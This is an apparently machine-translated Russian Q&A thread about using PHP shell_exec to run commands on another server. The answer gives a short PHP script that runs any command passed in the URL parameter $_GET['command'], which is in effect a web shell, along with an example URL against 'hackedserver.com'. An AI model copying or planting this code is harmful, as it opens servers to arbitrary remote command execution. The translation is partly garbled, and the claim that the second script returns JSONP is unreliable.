2013-05-29 4 views
0

Я знаю, что это удивительно опасный риск для безопасности. Но из чистого любопытства возможно ли использовать команду shell_exec в PHP для выполнения и выполнения сценария оболочки с одного веб-сервера на другой сервер Linux?Выполнить сценарий оболочки с другого сервера?

Поскольку я знаю, что безопасность - это большая часть совета людей, мне просто интересно. Я знаю, что это чрезвычайно отрывочная идея, если ее возможный

+0

Вы n eeding для передачи команды между серверами или вы можете подготовить то, что хотите исполнить, как часть сценария целевых серверов? – Scuzzy

+0

Я мог бы также просто вызвать скрипт, который выполнил команду ssh на целевом сервере. – Orangepill

+0

много сценариев эксплуатации делают именно это. –

ответ

0

Уверенный, что это так. СТРАШНЫЙ IDEA

На удаленном сервере у вас есть command.php что-то вроде:

<?php 

shell_exec($_GET['command']); 

?> 

Затем отправить удаленному серверу в URL, как:

http://www.hackedserver.com/command.php?command=uptime

Вы даже можете просмотреть обратный результат с JSONP следующим образом:

<?php 

$result = shell_exec($_GET['command']); 
json_encode($result); 
echo $result; 

?> 
Смежные вопросы